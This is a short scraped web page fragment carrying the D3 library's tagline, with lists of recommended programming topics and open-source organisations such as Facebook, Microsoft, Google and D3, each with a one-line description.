    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.